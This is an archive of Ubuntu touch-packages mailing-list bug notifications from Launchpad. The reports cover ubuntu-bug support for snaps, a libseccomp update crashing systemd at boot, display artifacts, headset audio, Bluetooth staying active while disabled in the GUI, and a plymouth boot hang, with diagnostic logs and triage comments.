Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861082] Re: [SRU] ubuntu-bug doesn't know how to file bugs against snaps

[Seth Arnold]

The first package I wanted to try was matterhorn -- I had some trouble
with it earlier today and this was an excellent opportunity to report
the bug 'formally', beyond just a pastebin on irc:

$ ubuntu-bug matterhorn

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
.dpkg-query: no packages found matching matterhorn
.

***

The problem cannot be reported:

matterhorn is provided by a snap published by popey. No contact address
has been provided; visit the forum at https://forum.snapcraft.io/ for
help.

Press any key to continue...  
No pending crash reports. Try --help for more information.


I'm not sure if this is success or failure -- if the developer didn't put 
anything in, then apport can't really do anything about that, but letting 
developers upload without saying how to file bugs sounds unfortunate too. (But 
that's probably best handled elsewhere.)

Thanks

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861082

Title:
  [SRU] ubuntu-bug doesn't know how to file bugs against snaps

Status in Snapcraft:
  New
Status in snapd:
  Triaged
Status in Snap Store Server:
  New
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Focal:
  Fix Committed

Bug description:
  [Impact]
  Users of Ubuntu 20.04 are not able to easily report bugs against applications 
provided as a snap.

  [Test Case]
  Install subiquity snap:
  # sudo snap install subiquity --classic
  subiquity 20.06.1 aus Canonical✓ installiert
  # snap list | grep subiquity
  subiquity   20.06.1  1938  latest/stable  canonical*  classic

  ubuntu-bug subiquity results in message:
  # LANGUAGE="en_US" apport-cli subiquity

  *** Collecting problem information

  The collected information can be sent to the developers to improve the
  application. This might take a few minutes.
  ...dpkg-query: no packages found matching subiquity

  *** You are about to report a bug against the deb package, but you
  also a have snap published by canonical installed. You can contact
  them via https://bugs.launchpad.net/subiquity for help. Do you want to
  continue with the bug report against the deb?

  What would you like to do? Your options are:
    Y: Yes
    N: No
    C: Cancel

  === New/Expected Result ===
  ubuntu-bug  should ask the user if he/she wants to 
report the bug against the snap or deb package, if both are installed. If the 
snap is chosen, the "Snap" and "SnapSource" fields should be part of the report:

  # LANGUAGE="en_US" apport-cli subiquity

  *** Collecting problem information

  The collected information can be sent to the developers to improve the
  application. This might take a few minutes.
  ...dpkg-query: no packages found matching subiquity

  *** You have two versions of this application installed, which one do
  you want to report a bug against?

  Choices:
    1: subiquity 20.06.1 (stable) snap
    2: subiquity (1938) deb package
    C: Cancel
  Please choose (1/2/C): 1
  .

  *** Send problem report to the developers?

  After the problem report has been sent, please fill out the form in the
  automatically opened web browser.

  What would you like to do? Your options are:
    S: Send report (46.1 KB)
    V: View report
    K: Keep report file for sending later or copying to somewhere else
    I: Cancel and ignore future crashes of this program version
    C: Cancel
  Please choose (S/V/K/I/C): V

  Make sure the following two fields are part of the generated report:
  == Snap =
  subiquity 20.06.1 (stable)

  == SnapSource =
  subiquity

  [Regression Potential]
  Small; the change adds a new add_snap_info() method to report.py and is 
triggered in the ui.py logic only in cases which would have otherwise lead to 
an error message. Furthermore, the change has been uploaded to Groovy some 
while ago where it is being used and tested.

  [Original Bug Report]
  Hello, I had problems with subiquity in the focal live server install image. 
I tried to use 'ubuntu-bug subiquity' to report the bug, but ubuntu-bug 
apparently cannot file bug reports against snaps.

  This is frustrating that users need to know which portions of Ubuntu
  are delivered via debs, which portions are delivered by snaps, and try
  to find a way to report bugs correctly.

  ubuntu-bug should know how to report bugs for Canonical software.

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/snapcraft/+bug/1861082/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[guenthert]

> apport-collect 1886115
That doesn't seem to succeed (because the installed package is libseccomp2, but 
here listed as libseccomp since the former isn't known to launchpad).

I tried 
$ apport-bug -u 1886115 libseccomp2
but that appears to attempt to create a new bug, rather then updating the 
existing one.  See below for what
$ apport-bug --save /tmp/ab libseccomp2
generates.
--8<--
ProblemType: Bug
ApportVersion: 2.20.9-0ubuntu7.15
Architecture: amd64
CurrentDesktop: MATE
Date: Thu Jul  2 19:13:13 2020
Dependencies:
 gcc-8-base 8.4.0-1ubuntu1~18.04
 libc6 2.27-3ubuntu1
 libgcc1 1:8.4.0-1ubuntu1~18.04
DistroRelease: Ubuntu 18.04
InstallationDate: Installed on 2019-03-30 (460 days ago)
InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210)
NonfreeKernelModules: wl
Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
PackageArchitecture: amd64
ProcCpuinfoMinimal:
 processor  : 3
 vendor_id  : GenuineIntel
 cpu family : 6
 model  : 42
 model name : Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz
 stepping   : 7
 microcode  : 0x2f
 cpu MHz: 1396.555
 cache size : 3072 KB
 physical id: 0
 siblings   : 4
 core id: 1
 cpu cores  : 2
 apicid : 3
 initial apicid : 3
 fpu: yes
 fpu_exception  : yes
 cpuid level: 13
 wp : yes
 flags  : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov 
pat pse36 clflush dts acpi mmx fxsr sse sse2 ht tm pbe syscall nx rdtscp lm 
constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid 
aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm 
pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm pti 
ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm ida 
arat pln pts md_clear flush_l1d
 bugs   : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds 
swapgs itlb_multihit
 bogomips   : 4589.43
 clflush size   : 64
 cache_alignment: 64
 address sizes  : 36 bits physical, 48 bits virtual
 power management:
ProcEnviron:
 LANGUAGE=en_US
 TERM=xterm
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=en_US.UTF-8
 SHELL=/bin/bash
ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
SourcePackage: libseccomp
Tags:  bionic
Uname: Linux 5.3.0-62-generic x86_64
UpgradeStatus: No upgrade log present (probably fresh install)
_MarkForUpload: True
-->8--

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my 

[Touch-packages] [Bug 1886067] Re: dAfter updating ubuntu OS on my laptop color lines are coming

[Daniel van Vugt]

*** This bug is a duplicate of bug 1867668 ***
https://bugs.launchpad.net/bugs/1867668

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1867668, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1867668
   Visual artifacts in Gnome Shell when using the 'intel' Xorg driver

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1886067

Title:
  dAfter updating ubuntu OS on my laptop color lines are coming

Status in xorg package in Ubuntu:
  New

Bug description:
  I would be glad to know if updating the Ubuntu to  18.04.04 LTS creates any 
problem with the graphics card. I am getting some color lines on the left top 
corner of my laptop display. It has intel graphics.
  Thanks in advance

  Best 
  Raja

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu7.1
  ProcVersionSignature: Ubuntu 4.15.0-108.109-generic 4.15.18
  Uname: Linux 4.15.0-108-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: None
  Date: Thu Jul  2 21:01:36 2020
  DistUpgraded: 2020-06-25 20:09:49,129 DEBUG icon theme changed, re-reading
  DistroCodename: bionic
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes, if not too technical
  GraphicsCard:
   Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0156] 
(rev 09) (prog-if 00 [VGA controller])
 Subsystem: Samsung Electronics Co Ltd 3rd Gen Core processor Graphics 
Controller [144d:c708]
  InstallationDate: Installed on 2014-11-02 (2068 days ago)
  InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 
(20140722.2)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 
300E5EV/300E4EV/270E5EV/270E4EV/2470EV/2470EE
  ProcEnviron:
   LANGUAGE=en_IN:en
   PATH=(custom, no user)
   LANG=en_IN
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-108-generic 
root=UUID=12ad038d-bb97-4df4-9bfc-d368f3f13ca8 ro quiet splash vt.handoff=1
  SourcePackage: xorg
  UpgradeStatus: Upgraded to bionic on 2020-06-25 (7 days ago)
  dmi.bios.date: 08/28/2014
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P08RBE
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: NP300E5V-A03IN
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP08RBE:bd08/28/2014:svnSAMSUNGELECTRONICSCO.,LTD.:pn300E5EV/300E4EV/270E5EV/270E4EV/2470EV/2470EE:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP300E5V-A03IN:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.family: ChiefRiver System
  dmi.product.name: 300E5EV/300E4EV/270E5EV/270E4EV/2470EV/2470EE
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.
  version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1
  version.libdrm2: libdrm2 2.4.101-2~18.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 19.2.8-0ubuntu0~18.04.3
  version.libgl1-mesa-glx: libgl1-mesa-glx 19.2.8-0ubuntu0~18.04.3
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.4
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2
  xserver.bootTime: Thu Jun 25 12:14:43 2020
  xserver.configfile: default
  xserver.errors:
   
  xserver.logfile: /var/log/Xorg.0.log
  xserver.outputs:
   product id5539 
   vendor CMO
  xserver.version: 2:1.18.4-0ubuntu0.8

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1886067/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1882248] Missing required logs.

[Ubuntu Kernel Bot]

This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:

apport-collect 1882248

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

** Changed in: linux (Ubuntu Bionic)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1882248

Title:
  plug headset won't proper reconfig ouput to it on machine with default
  output

Status in HWE Next:
  New
Status in OEM Priority Project:
  Confirmed
Status in linux package in Ubuntu:
  Incomplete
Status in pulseaudio package in Ubuntu:
  New
Status in linux source package in Bionic:
  Incomplete
Status in pulseaudio source package in Bionic:
  New

Bug description:
  target machine does not have built-in speaker, and the monitor does
  not have an audio output (like d-sub VGA)

  As first boot, there will be a "dummy output" in g-c-c.

  After plug-in headset, there will be a headset appear in g-c-c, but it
  won't be automatically selected even it's chosen in the pop-up window.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1882248/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1885496] Status changed to Confirmed

[Ubuntu Kernel Bot]

This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1885496

Title:
  Bluetooth is disabled in gui, but audio reciever's action button still
  controls Ubuntu

Status in bluez package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Current behavior:
  In gnome-control-center I see the Bluetooth slider is set to Off and the 
status shows "Bluetooth Turned Off".

  My Bluetooth audio receiver which had previously been paired can still
  control VLC, or any other compatible media player with a Pause/Play
  button.  If no compatible app is running then an error icon
  appears.[0]

  Expected behavior: when gnome-control-center Bluetooth shows Disabled,
  then no bluetooth device should be able to communicate with the
  computer.

  Security: This is way out of my wheelhouse, but if this goes beyond my
  use case, could this have security implications?  Just the fact that
  the bluetooth subsystem is functional when the UI says it is not,
  seems like a bad sign, correct?

  EDIT:  as a next step, when I enabled Bluetooth in gnome-control-
  center I see the device's status as "Disconnected" and the device does
  not appear as a possible sound output device in Sound settings. In
  this Bluetooth enabled state, the pause/play button still works.  When
  I disable all Bluetooth, the pause/play button still works.

  EDIT2:
  I'm not sure what the gnome-control-center Bluetooth On/Off slider is 
supposed to do, but while gnome-control-center Bluetooth shows disabled the 
service is still running.

  $ service bluetooth status

   bluetooth.service - Bluetooth service
   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor 
preset: enabled)
   Active: active (running) since Fri 2020-06-26 10:09:48 PDT; 2 days ago
     Docs: man:bluetoothd(8)
     Main PID: 935 (bluetoothd)
   Status: "Running"
    Tasks: 1 (limit: 38343)
   Memory: 3.0M
   CGroup: /system.slice/bluetooth.service
   └─935 /usr/lib/bluetooth/bluetoothd

  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth daemon 5.53
  Jun 26 10:09:48 nyuk systemd[1]: Started Bluetooth service.
  Jun 26 10:09:48 nyuk bluetoothd[935]: Starting SDP server
  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth management interface 1.14 
initialized
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSink/sbc
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSource/sbc
  Jun 26 20:55:06 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd0: fd(37) ready
  Jun 26 20:56:12 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd1: fd(37) ready
  Jun 26 21:23:45 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)
  Jun 28 20:58:41 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)

  [0] https://i.imgur.com/e2nM7hA.png

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-39.43-generic 5.4.41
  Uname: Linux 5.4.0-39-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jun 28 21:11:45 2020
  InstallationDate: Installed on 2020-06-17 (11 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  InterestingModules: rfcomm bnep btusb bluetooth
  Lsusb:
   Bus 002 Device 003: ID 090c:1000 Silicon Motion, Inc. - Taiwan (formerly 
Feiya Technology Corp.) Flash Drive
   Bus 002 Device 002: ID 152d:0567 JMicron Technology Corp. / JMicron USA 
Technology Corp. JMS567 SATA 6Gb/s bridge
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 8087:0a2b Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  ProcEnviron:
   PATH=(custom, no username)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-39-generic 
root=UUID=7d791ec0-a9ea-415e-b7ec-6260b85b55f7 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/27/2016
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: SYSKLi35.86A.0045.2016.0527.1055
  dmi.board.asset.tag: �=\�
  dmi.board.name: NUC6i5SYB
  dmi.board.vendor: Intel corporation
  dmi.board.version: H81131-504
  dmi.chassis.type: 3
  dmi.modalias: 
dmi:bvnIntelCorp.:bvrSYSKLi35.86A.0045.2016.0527.1055:bd05/27/2016:svn:pn:pvr:rvnIntelcorporation:rnNUC6i5SYB:rvrH81131-504:cvn:ct3:cvr:
  hciconfig:
   hci0:Type: Primary  Bus: USB
    BD Address: 00:C2:C6:F8:FA:D3  ACL MTU: 1021:4  SCO MTU: 96:6
    DOWN
    RX bytes:14600494 

[Touch-packages] [Bug 1885496] Re: Bluetooth is disabled in gui, but audio reciever's action button still controls Ubuntu

[Daniel van Vugt]

bluetoothd still running is correct and not a bug. Also, rfkill appears
to show that the GUI/BlueZ has disabled the kernel device as much as it
can:

0: hci0: Bluetooth
Soft blocked: yes

So this is either a kernel bug or something missing from BlueZ's soft-
blocking support.

** Changed in: bluez (Ubuntu)
   Importance: Undecided => Medium

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1885496

Title:
  Bluetooth is disabled in gui, but audio reciever's action button still
  controls Ubuntu

Status in bluez package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Current behavior:
  In gnome-control-center I see the Bluetooth slider is set to Off and the 
status shows "Bluetooth Turned Off".

  My Bluetooth audio receiver which had previously been paired can still
  control VLC, or any other compatible media player with a Pause/Play
  button.  If no compatible app is running then an error icon
  appears.[0]

  Expected behavior: when gnome-control-center Bluetooth shows Disabled,
  then no bluetooth device should be able to communicate with the
  computer.

  Security: This is way out of my wheelhouse, but if this goes beyond my
  use case, could this have security implications?  Just the fact that
  the bluetooth subsystem is functional when the UI says it is not,
  seems like a bad sign, correct?

  EDIT:  as a next step, when I enabled Bluetooth in gnome-control-
  center I see the device's status as "Disconnected" and the device does
  not appear as a possible sound output device in Sound settings. In
  this Bluetooth enabled state, the pause/play button still works.  When
  I disable all Bluetooth, the pause/play button still works.

  EDIT2:
  I'm not sure what the gnome-control-center Bluetooth On/Off slider is 
supposed to do, but while gnome-control-center Bluetooth shows disabled the 
service is still running.

  $ service bluetooth status

   bluetooth.service - Bluetooth service
   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor 
preset: enabled)
   Active: active (running) since Fri 2020-06-26 10:09:48 PDT; 2 days ago
     Docs: man:bluetoothd(8)
     Main PID: 935 (bluetoothd)
   Status: "Running"
    Tasks: 1 (limit: 38343)
   Memory: 3.0M
   CGroup: /system.slice/bluetooth.service
   └─935 /usr/lib/bluetooth/bluetoothd

  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth daemon 5.53
  Jun 26 10:09:48 nyuk systemd[1]: Started Bluetooth service.
  Jun 26 10:09:48 nyuk bluetoothd[935]: Starting SDP server
  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth management interface 1.14 
initialized
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSink/sbc
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSource/sbc
  Jun 26 20:55:06 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd0: fd(37) ready
  Jun 26 20:56:12 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd1: fd(37) ready
  Jun 26 21:23:45 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)
  Jun 28 20:58:41 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)

  [0] https://i.imgur.com/e2nM7hA.png

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-39.43-generic 5.4.41
  Uname: Linux 5.4.0-39-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jun 28 21:11:45 2020
  InstallationDate: Installed on 2020-06-17 (11 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  InterestingModules: rfcomm bnep btusb bluetooth
  Lsusb:
   Bus 002 Device 003: ID 090c:1000 Silicon Motion, Inc. - Taiwan (formerly 
Feiya Technology Corp.) Flash Drive
   Bus 002 Device 002: ID 152d:0567 JMicron Technology Corp. / JMicron USA 
Technology Corp. JMS567 SATA 6Gb/s bridge
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 8087:0a2b Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  ProcEnviron:
   PATH=(custom, no username)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-39-generic 
root=UUID=7d791ec0-a9ea-415e-b7ec-6260b85b55f7 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/27/2016
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: SYSKLi35.86A.0045.2016.0527.1055
  dmi.board.asset.tag: �=\�
  dmi.board.name: NUC6i5SYB
  dmi.board.vendor: Intel corporation
  dmi.board.version: 

[Touch-packages] [Bug 1871641] Re: Ubuntu never finishes booting: A start job is running for Hold until boot process finishes up (3min 7s / no limit) -- removing 'splash' kernel parm fixes it

[Daniel van Vugt]

I think we need help from a systemd expert.

** Also affects: systemd (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1871641

Title:
  Ubuntu never finishes booting: A start job is running for Hold until
  boot process finishes up (3min 7s / no limit) -- removing 'splash'
  kernel parm fixes it

Status in plymouth package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  New

Bug description:
  Boot process freezes at the splash screen and nothing happens after
  that. The computer can be suspended and it is able to return from
  suspend. Boot is possible by pressing escape early in the process to
  bypass plymouth.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: plymouth 0.9.4git20200323-0ubuntu5
  ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27
  Uname: Linux 5.4.0-21-generic x86_64
  ApportVersion: 2.20.11-0ubuntu24
  Architecture: amd64
  Date: Wed Apr  8 14:30:13 2020
  DefaultPlymouth: /usr/share/plymouth/themes/bgrt/bgrt.plymouth
  InstallationDate: Installed on 2020-04-08 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402)
  MachineType: LENOVO 7469A23
  ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-21-generic 
root=UUID=e12af5fd-b700-4292-8727-70345cb61c8e ro quiet splash vt.handoff=7
  ProcFB: 0 i915drmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-21-generic 
root=UUID=e12af5fd-b700-4292-8727-70345cb61c8e ro quiet splash vt.handoff=7
  SourcePackage: plymouth
  TextPlymouth: /usr/share/plymouth/themes/ubuntu-text/ubuntu-text.plymouth
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/25/2012
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 6DET72WW (3.22 )
  dmi.board.name: 7469A23
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Available
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvr6DET72WW(3.22):bd10/25/2012:svnLENOVO:pn7469A23:pvrThinkPadX200s:rvnLENOVO:rn7469A23:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.family: ThinkPad X200s
  dmi.product.name: 7469A23
  dmi.product.version: ThinkPad X200s
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/plymouth/+bug/1871641/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1882248] Re: plug headset won't proper reconfig ouput to it on machine with default output

[Hui Wang]

** Also affects: oem-priority/bionic
   Importance: Undecided
   Status: New

** No longer affects: oem-priority/bionic

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Also affects: pulseaudio (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Hui Wang (hui.wang)

** Tags added: originate-from-1881842

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1882248

Title:
  plug headset won't proper reconfig ouput to it on machine with default
  output

Status in HWE Next:
  New
Status in OEM Priority Project:
  Confirmed
Status in linux package in Ubuntu:
  New
Status in pulseaudio package in Ubuntu:
  New
Status in linux source package in Bionic:
  New
Status in pulseaudio source package in Bionic:
  New

Bug description:
  target machine does not have built-in speaker, and the monitor does
  not have an audio output (like d-sub VGA)

